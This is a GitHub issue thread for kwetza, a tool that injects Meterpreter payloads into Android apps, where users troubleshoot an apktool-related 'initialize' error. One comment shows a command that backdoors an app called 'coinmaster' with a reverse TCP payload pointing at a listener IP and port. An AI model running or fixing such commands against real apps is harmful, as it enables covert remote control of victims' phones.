sensepost / kwetza

Python script to inject existing Android applications with a Meterpreter payload.
GNU General Public License v2.0
637 stars 237 forks source link

!!!! ERROR IN 'initialize' method #38

Open insidevoid opened 5 years ago

insidevoid commented 5 years ago

[*] DECOMPILING TARGET APK !!!! ERROR IN 'initialize' method [Errno 2] No such file or directory !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Kingkhunt commented 5 years ago

Hey mate just check line 3 from here in your kwetza.py script.

def initialize(): print "[*] DECOMPILING TARGET APK" command = ["apktool", "--version"] p = subprocess.Popen(command, stdout=subprocess.PIPE) theResult = p.communicate()[0]

that should clear your ERR2. im still having this effin drama with initialize though :(

| | __| | ) || | | | | ' _ \| '_ | ' _ \| '_ \ | |/ /\ \ /\ / / \ | / ` | / / | | | | | | | | | | | | | | | | | | | | | | | | | | < \ V V / / | / / (| | / / | || | || || ||| || ||| || ||| || || ||_\ _/\/ _|_/_,| |_()_/

[*] DECOMPILING TARGET APK [+] ENDPOINT IP: 10.0.0.0 [+] ENDPOINT PORT: 8080 [+] APKTOOL DECOMPILED SUCCESS !!!! ERROR IN 'initialize' method substring not found !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! root@gingerbreadboy:~/kwetza# sudo python2 kwetza.py coinmaster tcp 10.0.0.0 8080 no no


                                      | |                | |            |__ \  / _ \ 

| | __| | ) || | | | | ' _ \| '_ | ' _ \| '_ \ | |/ /\ \ /\ / / \ | / ` | / / | | | | | | | | | | | | | | | | | | | | | | | | | | < \ V V / / | / / (| | / / | || | || || ||| || ||| || ||| || || ||_\ _/\/ _|_/_,| |_()_/

[*] DECOMPILING TARGET APK [+] ENDPOINT IP: 10.0.0.0 [+] ENDPOINT PORT: 8080 [+] APKTOOL DECOMPILED SUCCESS !!!! ERROR IN 'initialize' method substring not found !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! root@gingerbreadboy:~/kwetza# nano kwetza.py root@gingerbreadboy:~/kwetza#

if anyone wants to help out :)###

penguinxparrot commented 3 years ago

Do you have apktool installed? just to be on the safe side i would run the command "apt install apktool" and try it again

bxl520 commented 2 years ago

[*] DECOMPILING TARGET APK !!!! ERROR IN 'initialize' method [Errno 2] No such file or directory !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! run 'apt install apktool' and try it again